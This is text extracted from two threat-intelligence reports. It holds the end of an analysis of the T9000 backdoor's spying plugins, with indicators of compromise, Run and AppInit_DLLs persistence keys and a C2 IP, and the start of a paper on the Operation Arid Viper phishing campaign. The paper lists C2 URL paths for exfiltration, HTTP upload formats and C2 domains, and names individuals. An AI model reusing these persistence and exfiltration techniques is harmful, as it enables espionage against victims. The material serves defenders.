Additionally,whenascreenshotiswritten, oneofthefollowinglogfileshasdataappendedtoit: PUBLIC\Downloads\Update\Log.txt ALLUSERSPROFILE\Documents\MyDocument\Log.txt Figure2:ExampledatafoundwithinLog.txtfile Asecondthreadisresponsibleformonitoringtheforegroundwindowevery20seconds.
Thethread willtargetthewindownamessetwithinthepluginconfiguration.
Inthisparticularinstance,the malwarewilltargetthenotepadprocess.
Whenthisprocessisdiscoveredtoberunningintheforegroundwindow,themalwarewilltakea screenshotofthiswindow.
Thedataiscompressedandencryptedusingasinglebytexorkeyof 0x5F.Thisdataiswrittentooneofthefollowingfiles: PUBLIC\Downloads\Update\W[random].dat ALLUSERSPROFILE\Documents\MyDocument\W[random].dat Likethepreviousthread,thisoneattemptstowriteanotherlogfiletothedisk.
However,duetoabug withinthecodeofthisplugin,themalwareauthorattemptstoappendthe C:\\Windows\\Temp\\Log.txtstringtothepath,resultinginaninaccessiblefilepath.
Intheeventthis bugdidnotexist,thefollowingexampledatawouldbewritten: 08:37:492000[4]PrintKeyTitleWnd:ProcessID:2000 Thethirdandfinalthreadspawnedbythispluginisresponsibleforcollectinginformationfromthe Skypeprogram.
ThemalwarewillusethebuiltinSkypeAPItoaccomplishthis.
Thisonlytakesplaces ifbothSkypeisrunningandthevictimisloggedintoSkype.
Itmakescallstothefollowingfunctions: SkypeControlAPIDiscover SkypeControlAPIAttach WhenhookingintotheSkypeAPI,thevictimispresentedwiththefollowingdialog: Figure3:SkypeAPIaccessrequest ThevictimmustexplicitlyallowthemalwaretoaccessSkypeforthisparticularfunctionalitytowork.
However,sincealegitimateprocessisrequestingaccess,theusermayfindhimorherselfallowing thisaccesswithoutrealizingwhatisactuallyhappening.
Onceenabled,themalwarewillrecordvideocalls,audiocalls,andchatmessages.
Audioandvideo filesarestoredinthefollowingfolder: APPDATA\Intel\Skype Temporaryaudioandvideofilesarestoredwithintheaudioandvideosubfoldersrespectively.
After acallisfinished,thisdataiscompressedandencryptedusingthesametechniquespreviously witnessed.
Thesefilesarestoredinrandomlynamed.datfileswithintheSkypefolder.
Whendecrypted,wecanseethatthemalwareperiodicallytakesimagesofthevideocalls.
Audio callsarestoredas.wavfiles.
Figure4:Alonelymalwarereverseriscapturedonvideobythemaliciousplugin TheoriginalnameforthispluginisCaptureDLL.dll.
Thisisaptlynamed,asweseethatthisplugin hasthefollowingfunctionality: Capturefulldesktopscreenshots Capturewindowscreenshotsoftargetedprocesses CaptureSkypeaudio,video,andchatmessages Plugin2vnkd.dat Thevnkd.datpluginhasthefollowingdebugpath,leadingustobelievethattheoriginalnameforthis pluginisFlashDiskThief: e:\WORK\Project\T9000\Windows\Target\FlashDiskThief.pdb WhenloadedwiththedefaultDllEntryPointexportedfunction,itwillcreatethefollowingmutex: Global\\6BB1120C16E94c9196D504B42D1611B4 Liketheotherpluginsassociatedwiththismalware,themajorityofthefunctionalityforthismalware resideswithintheSetCallbackInterfaceexportedfunction.
Thisfunctionspawnsanewthreadthat beginsbyregisteringanewwindowwithaclassnameandwindownameofxx.
Thepluginproceedstoiteratethroughallconnecteddrivesonthesystem,lookingforremovable drives.
Figure5.Plugincheckforremovabledrives Shouldaremovabledrivebediscovered,thepluginwillseekanyfilesresidingonthisdevicebased onthepluginsconfiguredlist.
Inthisparticularinstance,themalwarewillseekoutthefollowingfile types: .doc .ppt .xls .docx .pptx .xlsx Ifoneofthesefiletypesisfound,themalwarewillcreateacopyofthefileinoneofthefollowing paths: PUBLIC\Downloads\Update\D[random].tmp ALLUSERSPROFILE\Documents\MyDocument\D[random].tmp Thedatafoundwithinthisfileisencryptedusingasinglebytexorkeyof0x41.Thefileheader structure,withtheunderlyingdatastillencrypted,canbeseenbelow.
Figure6:Filestructurepriortodecryption Figure7:Filestructurepostdecryption Thisconcludesthefunctionalityofthevnkd.datplugin,orFlaskDiskThiefasitsknownbythe malwaresauthor.
Whilespecificinnature,thispluginallowsattackerstocollectfilesbeingpassed aroundfromonemachinetoanotherviaremovabledrives.
Plugin3qhnj.dat Thisparticularpluginappearstohaveanoriginalfilenameofkplugin.dllduetodebugging informationfoundwithinthefile.
Theqhnj.datpluginisresponsibleforhookinganumberofcommon MicrosoftWindowsAPIcalls,andloggingtheresults.
Thefollowingfunctionsarehookedbythisplugin: ImmGetCompositionStringA ImmGetCompositionStringW CreateFileW DeleteFileW CopyFileExW MoveFileWithProgressW CreateDirectoryW CreateDirectoryExW RemoveDirectoryW GetClipboardData CryptEncrypt CryptDecrypt ThepluginismostlikelyhookingtheImmGetCompositionStringfunctionsinordertocollect informationaboutUnicodecharactersonthevictimmachine,suchasChinese,Japanese,and Korean.
Hookingthevariousfileanddirectoryoperationsallowsthemalwaretologwhatfilechangesare occurringonthesystem.
Whenafileiscreated,copied,moved,ordeletedonthesystem,the malwarewillcheckthedirectoryofsaidfileagainstthefollowingblacklist: \\\\.\\ :\\programfiles\\ \\AppData\\ \\temporaryinternetfiles\\ \\applicationdata\\ \\LocalSettings\\ \\cookies\\ \\temp\\ \\history\\ Additionally,thefilenameiscomparedagainstthe.tmpextensiontoensureatemporaryfileis ignored.
Shouldthefilemeettherequiredcriteria,thisdataislogged.
Additionally,allfoldermodificationsand clipboarddataareloggedaswell.
TheCryptfunctionsallowthemalwaretocollectsensitiveencrypteddatasenttoandfromthevictim machine.
Thisisespeciallyusefulwhenviewingnetworktraffic,allowingtheattackerstopotentially gainaccesstoremotesystemsusedbythevictim.
Allofthedataloggedbytheqhnj.datpluginfileisstoredinoneofthefollowingfilepaths.
Datais encryptedusingasinglebyteXORkeyof0x79.
PUBLIC\Downloads\Update\uai[random].tmp ALLUSERSPROFILE\Documents\MyDocument\uai[random].tmp Thislastpluginallowstheattackerstorecordimportantactionstakenbythevictim,whichinturnmay allowthemtogainadditionalaccessaswellasinsightintothevictimsactions.
Conclusion T9000appearstobethelatestversionofthisTrojan,whichhasbeenpartiallyexposedinprevious reports.
In2013,CylancepublishedareportonagrouptheynamedGrandTheftAutoPanda, whichincludessomedetailsontheT5000versionofthisTrojan.
FireEyeresearchersalsonotedthat themalwarewasusedinanattackin2014usingalurerelatedtothedisappearanceofMalaysian flightMH370.
Theauthorofthisbackdoorhasgonetogreatlengthstoavoidbeingdetectedandtoevadethe scrutinyofthemalwareanalysiscommunity.
Wehopethatsharingthedetailsofhowthistoolworks aswellastheindicatorsinthesectionbelowwillhelpothersdefendthemselvesagainstattacksusing thistool.
Inafuturereport,wewilldetailtheinfrastructureusedbythevariantsofthemalwarewehave identifiedanddiscussthemethodsattackersusetoinfectsystemswithit.
http://blog.cylance.com/grand-theft-auto-panda https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html PaloAltoNetworkscustomersareprotectedfromT9000/T5000attacksthroughournextgeneration securityplatform,includingthefollowing.
ThreatPreventionsignaturesforthesoftwarevulnerabilitieslistedinthisreportareavailableto detecttheexploitfilesduringdelivery.
TrapsiscapableofpreventingexploitationofthevulnerabilitiesexploitedtoinstallT9000.
WildFireclassifiesallofthemalwaredescribedinthisreportasmalicious.
Antimalwaresignaturesforthefileslistedinthisreport.
AutoFocususerscanidentifythemalwarediscussedinthisreportwiththeT5000tag IndicatorsofCompromise Hashes RTFFile,d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c QQMGr.dll,bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f QQMGR.inf,ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a ResN32.dat,aa28db689f73d77babd1c763c53b3e63950f6a15b7c1a974c7481a216dda9afd ResN32.dll,1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 hqwe.dat,bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b hqwe.dat.decrypted,7daf3c3dbecb60bee3d5eb3320b20f2648cf26bd9203564ce162c97dcb132569 hccutils.dll,3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 hccutils.inf,f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 igfxtray.exe,21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61 qhnj.dat,c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 qhnj.dat.decrypted,2b973adbb2addf62cf36cef9975cb0193a7ff0b960e2cff2c80560126bee6f37 tyeu.dat,e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 tyeu.dat.decrypted,5fc3dc25276b01d6cb2fb821b83aa596f1d64ae8430c5576b953e3220a01d9aa vnkd.dat,c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 vnkd.dat.decrypted,157e0a9323eaaa911b3847d64ca0d08be8cd26b2573687be461627e410cb1b3f dtl.dat,00add5c817f89b9ec490885be39398f878fa64a5c3564eaca679226cf73d929e glp.uin,3fa05f2f73a0c44a5f51f28319c4dc5b8198fb25e1cfcbea5327c9f1b3a871d4 Mutexes 820C90CxxA1B084495866C6D95B2595xx1C3 Global\\deletethread Global\\A59CF429D0DD420788A104090680F714 Global\\3C6FB3CA69B1454f8B2FBD157762810E Global\\43EE34A990634d2cAACDF5C62B849089 Global\\A8859547C62D4e8bA82DBE1479C684C9 CE2100CF34184f9a9D5DCC7B58C5AC62 Global\\6BB1120C16E94c9196D504B42D1611B4 NamedEvents Global\\34748A264EAD4331B039673612E8A5FC https://autofocus.paloaltonetworks.com//tag/Unit42.T5000 Global\\EED5CA6C99584611B7A71238F2E1B17E FileModifications TEMP\tmp.doc APPDATA\Intel\avinfo APPDATA\Intel\Data\dtl.dat APPDATA\Intel\Data\glp.uin APPDATA\Intel\Data\ APPDATA\Intel\1 APPDATA\Intel\hccutils.dll APPDATA\Intel\hccutils.inf APPDATA\Intel\hjwe.dat APPDATA\Intel\igfxtray.exe APPDATA\Intel\qhnj.dat APPDATA\Intel\QQMgr.dll APPDATA\Intel\QQMgr.inf APPDATA\Intel\ResN32.dll APPDATA\Intel\ResN32.dat APPDATA\Intel\tyeu.dat APPDATA\Intel\vnkd.dat STARTUP\hccutils.dll STARTUP\hccutil.dll STARTUP\igfxtray.exe ALLUSERSPROFILE\Documents\MyDocument\utd_CE31 ALLUSERSPROFILE\Documents\MyDocument\XOLOADER ALLUSERSPROFILE\Documents\MyDocument\update ALLUSERSPROFILE\Documents\MyDocument\Log.txt PUBLIC\Downloads\Update\utd_CE31 PUBLIC\Downloads\Update\XOLOADER PUBLIC\Downloads\Update\update PUBLIC\Downloads\Update\Log.txt APPDATA\Intel\Skype RegistryModifications HKLM\Software\Microsoft\Windows\CurrentVersion\Run\EupdateAPPDATA\Intel\ResN32.dll HKLM\Software\Microsoft\Windows\CurrentVersion\Run\updateSYSTEM\rundll32.exe APPDATA\Intel\ResN32.dllRun HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs APPDATA\Intel\ResN32.dll HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs0x1 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\updatec:\windows\system32\rundll32.exe APPDATA\Intel\ResN32.dllRun CommandandControl 198.55.120[.
]143:8080
OPERATION ARID VIPER Bypassing the Iron Dome Trend Micro Threat Research Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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CONTENTS Introduction ................................................................................................i Operation Arid Viper ............................................................................ 1 Targets ............................................................................................. 1 Infection Chain ................................................................................. 1 CC Infrastructure ........................................................................... 5 Operation Advtravel ............................................................................. 9 CC Infrastructure ........................................................................... 9 Malware ......................................................................................... 13 Victims ........................................................................................... 15 fpupdate.info Server ...................................................................... 16 Victims ....................................................................................... 16 linksis.info Server ....................................................................... 17 Attribution .......................................................................................... 17 Khalid Samra ................................................................................. 17 Ahmed Jmal ................................................................................... 19 Mahmoud Hashem ........................................................................ 19 Dev_hima ...................................................................................... 20 VIRUS_HIMA ............................................................................. 24 Mohammed Khaled ....................................................................... 25 Fathy Mostafa ................................................................................ 25 Other Individuals ............................................................................ 26 Conclusion ................................................................................................ii References .............................................................................................. iii Appendix..................................................................................................iv The South Korean Fake Banking App Scam Research Paper 2  2015 Trend Micro Incorporated INTRODUCTION Trend Micro researchers discovered an ongoing malware campaign that targets Israeli victims and leverages network infrastructure in Germany.
The campaign has strong attribution ties to Arab parties located in the Gaza Strip and elsewhere.
Picture the following reconstruction based on one attackan employee in an Israeli government research facility receives and opens a highly targeted phishing email.
A pornographic movie starts to play on his screen, which he hurriedly closes before any of his colleagues notice.
He then thinks nothing more of the event.
Minutes later, an attacker from somewhere in the Gaza Strip in Palestine gets notified that a new victims system has been successfully infected.
The attacker then proceeds to exfiltrate a package containing all of the interesting documents from the newly infected system.
Israel is one of the most highly defended countries in the world, sheltered behind the legendary Iron Dome.
[
1] But all of that counts for nothing when an attacker possibly seeking out revenge for Israeli air strikes on Gaza last yearcircumvents all of that to strike right at the heart of the Israeli administration.
[
2] The Internet is quickly becoming a battlefield for new age wars, a chessboard where a new game is played by world powers comprising enemies and allies.
This is a new take on an old game, that of deception, duplicity, and espionage in world politics.
The ability to attack an enemy without needing to declare war is a very useful thing in such a game, as is being able to spy on enemies cloaked by distance and faint electronic traces.
For a security company, the most complicated thing is to determine the motivation behind an electronic attack.
In rare cases, we do find state-sponsored espionage.
And the most useful clues we count on to discern between threat actors or those behind highly targeted attacks and other cybercriminals include: Complexity: The level of sophistication employed by some of these highly targeted attacks goes over and beyond normal cybercrime.
Government agencies with the manpower to create the kind of malware for highly targeted attacks perfect their code over the years.
They often employ scores of teams working on different sections of their malicious programs.
Of course, not all nation states have the same resources at their disposal when it comes to creating sophisticated malware.
In fact, for every Stuxnet, there are hundreds of rather straightforward spear-phishing campaigns.
Targets: Over time, state-sponsored malware have been targeting victims that can be clustered into specific groupsregions or vertical industries.
This could be a telltale sign that whoever is behind a highly targeted attack has loftier interests than merely stealing money.
It is also worth noting that not all politically motivated attacks are carried out by the governments that would most likely benefit from them.
They can be the work of hacktivists, patriotic hacking groups, or to further complicate things, enemy nations using the name of supposed culprits to carry out attacks.
Welcome to the wonderfully complex world of geopolitical malware This research paper tells the story of a highly targeted attack campaign that raised all kinds of red flags.
What we have dubbed Operation Arid Viper refers to a campaign that exclusively targets victims in Israel.
This particular case showed that not only countries are looking at Israel through the crosshairs a few organizations who consider themselves the countrys adversaries are, too.
As such, we cannot discount that this attack could have been made by a rogue organization that is trying to shake the chessboard of world politics.
Operation Arid Viper uses malware delivered via phishing emails to steal documents from target systems.
This papera collaborative effort of the Trend Micro Forward- Looking Threat Research Team and fellow threat defense expertsreveals the campaigns technical details and its targets as well as details on a number of individuals who appear to be tied to the campaign.
Special thanks also goes out to the United States Air Force (USAF) Office of Special Investigations for their assistance and partnership in this endeavor.
Operation Arid Viper Research Paper 1  Page  2015 Trend Micro Incorporated OPERATION ARID VIPER Targets Threat intelligence from within Trend Micro was used to determine who the targets of an ongoing campaign dubbed Operation Arid Viper have been so far.
Based on IP addresses associated with malware infections tied to the campaigns core infrastructure, we were able to determine its targetsa government office, transport service/infrastructure providers, a military organization, and an academic institution in Israel.
It also targeted an academic institution in Kuwait along with several other unidentified Israeli individuals.
Research also revealed an interesting Twitter conversation between Ramzi_MHADHBI, a Tunisian blogger, and waleedassar, a reverse engineer currently working as a senior security researcher at the Al Jazeera Media Network.
Their exchange mentioned two of the domains associated with Operation Arid Viper malware, suggesting that one or both of them may have also been targeted.
Infection Chain As will be made clear later, Operation Arid Viper aimed to extract victim information though it also paid much attention to its means of getting into target systems.
The campaign used the most popular targeted attack infection vectora simple phishing email from a nonexistent sender to a specific recipient.
It targeted organizations from various industries with a clear focus on Israel.
The spear-phishing email came with a compressed file attachment and a more or less credible social engineering ploy to trick victims into opening it and running the embedded .EXE file.
The .RAR file attachment contains an .SCR file that when executed drops two more files onto an infected system.
One file is a short pornographic video in .FLV or .MPG format, depending on the samples seen.
The other file is a Windows binary file sporting the icon of the well-known Internet communication program, Skype.
Operation Arid Viper was unusual in that it had a pornographic component in hopes of taking user focus away from the infection or the fact that something strange is happening.
It targeted professionals who might be receiving very inappropriate content at work and so would hesitate to report the incident.
These victims failure to act on the threat could have then allowed the main malware to remain undiscovered.
The attackers used a distinct and likely successful strategy previously unseen when it came to avoiding incident response team investigations.
Operation Arid Viper targeted various Israeli organizations across industries.
Twitter conversation between Ramzi_MHADHBI and waleedassar Operation Arid Viper Research Paper 2  Page  2015 Trend Micro Incorporated It is also worth mentioning that variations in the spear-phishing elements were seen across attacks though the idea behind them was the same.
They all used a socially engineered email with a malicious file attachment and had a pornographic element as shown in the infection chain.
Once executed, the binary accesses a command-and-control (CC) server to immediately download an updated module and check if the infected system is already known or if it has been newly infected.
Each infected system is assigned a unique identifier comprising its hard disk name and a specific set of numbers.
Specific URLs are used for command and control.
Note how often the unique identifier is used in all kinds of communication with CC servers.
Below are sample commands for a system with the unique ID, VMwareVirtualIDEHardDrive1268730784.
/session/aadd_rtemp.
php?nVMwareVirtualIDEHardDrive1268730784: To add the systems record or perhaps start a communication session.
/session/gget_rtemp.
php?nVMwareVirtualIDEHardDrive1268730784: To get a record or perhaps continue a communication session.
/flupdate/3.html: To download an updated .EXE file.
Incidentally, even though the file that should be downloaded3.html was hard-coded into the original malicious binary, the CC server has sequentially numbered similar though not identical binaries such as 1.html, 2.html, and so on.
These varied from sample to sample but were all Base64-encoded strings.
The malware also commonly set the User-Agent for communication to SK, Skypee, or Skype as shown in the Wireshark log.
The previously mentioned paths aadd_temp and gget_rtempvaried a little from sample to sample and CC server to CC server but the request formatting was the same.
A nonexhaustive list of other paths seen include: Operation Arid Viper infection chain User-Agent Wireshark log for SK, Skypee, or Skype communication Operation Arid Viper Research Paper 3  Page  2015 Trend Micro Incorporated /new/add_tree.php?name[SYSTEM- ID]date[TODAYS DATE] /new/all_file_info1.php?name[SYSTEM- ID]user[NUM]file[DD-MM-YYYY HH-MM.
uml]typemsn /new/all_file_info1.php?name[SYSTEM- ID]user[NUM]file[DD-MM-YYYY HH-MM.
rml]typelog /new/all_file_info1.php?name[SYSTEM- ID]user[NUM]file[DD-MM-YYYY HH-MM.
dll]typeimg /new/all_file_info1.php?name[SYSTEM- ID]user[NUM]file[DD-MM-YYYY HH-MM.
rml]typetree /new/get_flash.php?name[SYSTEM- ID]serial[SERIAL NUM] /new/get_tree.php?name[SYSTEM- ID]date[DD-MM-YYYY] /new/get_statu.php?name[SYSTEM-ID] /new/view_flash_files.php?name[SYSTEM- ID]serial[SERIAL NUM] /new/view_flash_random.
php?name[SYSTEM-ID]serial[SERIAL NUM] /new/update.php /new/view_file_order.php?name[SYSTEM-ID] /new/view_file_up.php?name[SYSTEM-ID] /new/view_random_order.
php?name[SYSTEM-ID] /down/add_temp.php?name [SYSTEM-ID] /new/add_tuser.php?name[SYSTEM-ID]use /new/chang_flag.php /new/chang_rfflag.php /new/chang_rflag.php /new/n_chang_fflag.php /mians/aadd_rtemp.php?n[SYSTEM-ID] /mians/gget_rtemp.php?n[SYSTEM-ID] /session/aadd_rtemp.php?n[SYSTEM-ID] /session/gget_rtemp.php?n[SYSTEM-ID] When the second-stage malware runs, it sets itself to auto- run with each system reboot in the guise of an Internet communication software.
This is accomplished with an old- fashioned auto-start registry key such as HKCU\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunSkype  path\ name.exe.
This keeps the path and name of the .EXE file dropped into the registry key.
It also copies itself into SystemDrive\Program Files\Messenger via a hard-coded path.
In addition to using Skype in the registry, the malware also frequently spoofed the Skype icon.
All of the malware samples seen had portable executable (PE) file sections written in Arabic.
The malware logs in to the CC console by calling a very specific PHP script on the CC server/products/add_user.ph p?nameVMwareVirtualIDEHardDrive1268730784user38.
The number it creates for the user parameter38 in the examplewas chosen from the malware client to identify the session.
It then starts searching the whole hard disk for documents.
DOC, .XLS, .PPT, and .TXT files.
Each document found is reported to the CC server using the format, GET / products/file_order3.php?nameVMwareVirtualIDEHardDri ve1268730784pathC:/Documents20and20Settings/ user/Templates/winword.doc.
The Wireshark log (top) shows the files the malware sends to a CC server.
The assembly code section (bottom) searches for .XLS files to steal.
Operation Arid Viper Research Paper 4  Page  2015 Trend Micro Incorporated The CC server immediately responds if each document is interesting or not.
This decision probably comes from a hard-coded black list on the server side to likely prevent the client from sending out default templates and generic readme.txt files.
The server also tries to avoid requesting for duplicates of files it already has in further stealing sessions.
It has two possible responses: Response for an interesting document: HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 14:49:45 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_ bwlimited/1.4 X-Powered-By: PHP/5.5.16 Transfer-Encoding: chunked Content-Type: text/html 4 6 done 0 Response for an uninteresting document: HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 14:49:23 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_ bwlimited/1.4 X-Powered-By: PHP/5.5.16 Transfer-Encoding: chunked Content-Type: text/html 2 2 The client then proceeds to list down all of the interesting documents to steal.
These are compressed in a 0.txt file and uploaded to a CC server via a POST request such as POST /products/fupdates.php.
This request comprises a single POST parameter formatted as a GET parameter such as account38nameVMwareVirtualIDEHardD rive1268730784foldertreefname02-10-2014 10-50.rmlsbase64-file.
The server presumably uses the account value, which is the same as the previously mentioned user value, to track sessions where particular files are uploaded.
The fname parameter is the .ZIP files name and contains a specific date and time.
The 0.txt file is deleted after the upload.
At the end of the file upload, the client issues the request, /products/all_file_info1.ph p?nameVMwareVirtualIDEHardDrive1268730784user38file02-10-201420 10-50.rmltypetree, to make sure everything went smoothly.
As shown, a single execution allows the malware client to steal documents from infected systems.
After carrying out all of its routines, the malware routinely checks back with the CC server to see if it should continue running using the path, /products/get_statu.php?nameVMwareVirtualIDEHardDrive1268730784.
A response containing run11 tells it to continue running whereas stop disables it to possibly avoid infecting uninteresting systems.
Operation Arid Viper Research Paper 5  Page  2015 Trend Micro Incorporated CC Infrastructure Using an initial malware sample and its corresponding CC server, we looked through internal Trend Micro databases to compile a list of similar malware that contact the same server.
All cases revealed that the malware essentially exhibited the same behaviors previously outlined.
The first CC server found was pstcmedia.com.
A quick search revealed that another sitemixedwork.comhosted on the same IP address188.40.81.136also acted as a CC server.
Although the pstcmedia.com site changed IP addresses, mixedwork.com seemed to stay on this IP address.
The other IP addresses pstcmedia.com used include 192.254.132.26 and 54.255.143.112.
The second IP address has been sink-holed by other security researchers.
To find other domains that may be part of the same campaign or used by the same perpetrators, an investigation of domain registration data was conducted.
The CC server that pstcmedia.com used was registered using the personal email address, khalid.samraagmail.com.
More details on this can be found in the attribution section.
The main page of mixedwork.com also contained a decoy redirection to the legitimate site, http://channel9.msdn.com/events/mix.
But on its 404 page, it is interesting to note the mention of the email address, ahmed.
jmal1989gmail.com, as site administrator.
An in-depth look at Trend Micro Smart Protection Network feedback for network activity similar to the previously mentioned URL paths allowed us to identify where the following active CC servers were at various times: ahmedfaiez.info flushupdate.com flushupate.com ineltdriver.info mediahitech.com The first three servers have all been hosted at some point on the same IP addresses188.40.75.132 and 188.40.106.84located in Hetzner, Germany.
A more in-depth look at the first IP address revealed that among several other domains, it also hosts twoadvtravel.info and fpupdate.infothat have clear ties to cybercriminal activities although not necessarily to the same campaign being investigated.
A closer look at the last two CC servers revealed that they have been misconfigured and allowed directory listing.
Inside them were large amounts of victim data analyzed in the Operation Advtravel section.
Operation Arid Viper Research Paper 6  Page  2015 Trend Micro Incorporated Operation Arid Vipers main CC servers have been configured so their main pages redirected visitors to other web pages as shown in the table below.
CC Server Site It Redirects To ahmedfaiez.info Simply shows the word test flushupate.com helpx.adobe.com/flash-player.html flushupdate.com get.adobe.com/flashplayer ineltdriver.com downloadcenter.intel.com/default.aspx mediahitech.info Not resolving anymore mixedwork.com visitmix.com/work Maltego map showing the relationships among the sites, IP addresses, and servers seen in the featured campaigns Operation Arid Viper Research Paper 7  Page  2015 Trend Micro Incorporated CC Server Site It Redirects To plmedgroup.com palmgroupasia.com pstcmedia.com A parked page A check of the Domain Name System (DNS) Start of Authority (SOA) and Whois records of each identified CC server turned up several other interesting email addresses, more details on all of which can be found in the attribution section.
The table below shows our findings.
CC Server Email Addresses Used in DNS SOA and Whois Records advtravel.info moh.s009gmail.com ahmedfaiez.info moh.s009gmail.com mahmoud.hashem12gmail.com flushupate.com moh.s009gmail.com flushupdate.com moh.s009gmail.com fpupdate.info moh.s009gmail.com mahmoud.hashem12gmail.com ineltdriver.com moh.s009gmail.com mediahitech.info mahmoud.hashem12gmail.com mixedwork.com ahmed.jmal1989gmail.com plmedgroup.com ahmed.jmal1989gmail.com pstcmedia.com khalid.samraagmail.com Note that CC server names marked with  are part of a separate campaignAdvtravel.
Operation Arid Viper Research Paper 8  Page  2015 Trend Micro Incorporated The malware binary hashes and their respective CC servers, along with the dates they were first seen, allowed us to create a timeline of attacks that shows how much Operation Arid Viper has evolved over time.
Operation Arid Viper Research Paper 9  Page  2015 Trend Micro Incorporated OPERATION ADVTRAVEL Ongoing Operation Advtravel differed from Operation Arid Viper in terms of the malware used, their chosen victims, and attribution information.
But it does bear certain similarities to Operation Arid Viper that we believe merits its addition to this paper.
The cybercriminals behind this campaign may have some ties with the threat actors behind Operation Arid Viper, which include: They shared servers for command and control.
They used the same email addresses to register their domainsadvtravel.
info, fpupdate.info, and linksis.info.
Their perpetrators had ties to the Gaza Strip.
CC Infrastructure While conducting our investigation, we came across an Advtravel CC server that shared the same infrastructure with Operation Arid Viper.
It is particularly interesting to note that the advtravel.info site left its servers root directory structure completely open to the public.
This, combined with some other cybercriminal activities elaborated in the attribution section, led us to believe that the Advtravel attackers were less-skilled than those behind Operation Arid Viper.
An analysis of December 2014 data shows that Advtravels CC server directory could be publicly accessed.
This allowed us to download copies of its entire content to study as part of our investigation before its owners realized their mistake and locked it down.
Earlier versions of data from September 2014 were also downloaded.
The advtravel.info directory had several files and folders.
Although we were not able to exhaustively analyze every file on it, details on its most interesting components are highlighted below: B1312.zip: This is a 1.4GB compressed backup of all of the other files on the CC server.
Leaving this file on the server allowed us to look inside the code of the .PHP files the attackers used.
/apps/: This main directory contains stolen victim data, along with several PHP scripts that uploaded it to the server.
It used the format, /apps/A[3 nums]X/[COMPUTERNAME_USERNAME] where A[3 nums]X represents a particular subcampaign while /[COMPUTERNAME_USERNAME] identifies a unique victim.
The three digits in the folder format seem to indicate the month of the year, as they ranged from 001 to 012.
Further analysis of the dates when the data was stolen, however, disproved that theory.
An exhaustive analysis of every file on the server is beyond the scope of this paper but the details of the most interesting components are: Publicly accessible Advtravel site root directory Operation Arid Viper Research Paper 10  Page  2015 Trend Micro Incorporated /apps/A[3 nums]X/ison.on: This refers to the last time stolen data was uploaded in the format, dd-mm-yyyy-hh-mm-ss.
/apps/A[3 nums]X/data/: This contains screenshots taken from infected systems, along with the following files, the presence of which varied from victim to victim: allips.txt: Contains victims local and external IP addresses.
CurrentProcess.txt: List of running processes on infected systems.
cmpinf.txt: Contains the infection date, OS, user domain name, and username.
downinf.txt: Contains the infection date, OS, user domain name, username, and status such as Download Complete :).
DrivesList.txt: List of all of an infected systems drives.
FileList.txt: List of files in a directory on an infected system, frequently where the malware was executed.
pdata.txt: List of stolen website login credentials.
webrowser.txt: List of stolen web browser credentials.
wifi.txt: List of stolen Wi-Fi connection credentials.
workdata.txt: Contains the infection date, OS, user domain name, username, and a line labeled APP_ PATH, which indicates which directory the malware was installed on.
Winkey.log: Log of victims keystrokes.
Other files that the attacker manually ordered his malware to directly steal from the victim.
These include documents, pictures, and so on.
/data/: This contains three .EXE files shown in the table below.
File Name MD5 Hash Purpose getchr.exe 77f590608eadcbbcc07de8d26607611f Drops HKTL_ PASSVIEW getcmppass.
exe 6d63f1c6962f290156c6459d1158a715 Hacking tool that gets browser and Wi-Fi network passwords log.exe ccaac14d265915f4fdc6229ec6c9e854 Logs keystrokes b9b763980e33e390480c4a0d7c63adec /del/: This has been formatted like the /apps/ folder and also contains stolen victim data, particularly pictures, documents, and passwords.
/downs/: This contains several tools like those in the /apps/ folder as shown in the following table.
An index of over 400 compromised systems from just one subcampaign Operation Arid Viper Research Paper 11  Page  2015 Trend Micro Incorporated File Name MD5 Hash Purpose Mkhaled.txt b2690a9ac508cfe49f9db76695e18f00 Contains the text https://www.
facebook.com/messages/ LODALODALODA, which sends a Facebook message to Mohamed Khaled (https:// www.facebook.com/ LODALODALODA) aa.bat 1e63925edff6ea3449b7d3468443a52f Copies pat2.exe and patver.
tmp from the \appdata\ roaming\explr\ folder appnew.exe ef5a37a6dcb1c417f4324730ce56be48 Backdoor that accesses the CC server, devhelx.no-ip.org appsrv.exe 2da94e47a68d9a137504106a513a3559 Backdoor that accesses the CC server, devhelx.no-ip.org estad.scr d6951e596910ec6105512ed002f24aa1 Downloads pat2.exe ez.exe 293d37cf8c62076de739f4bd68e685bb Backdoor that accesses the CC server, devhelx.no-ip.org kms.rar 6fa049b83def6c41154558c706b6605d Hacking tool that comes in the form of a password-protected archive file log.exe ccaac14d265915f4fdc6229ec6c9e854 Drops WinKey.log where keystrokes are logged out.rar c69bb266bede466825f21d900453f45e .ZIP file that contains pswd2.
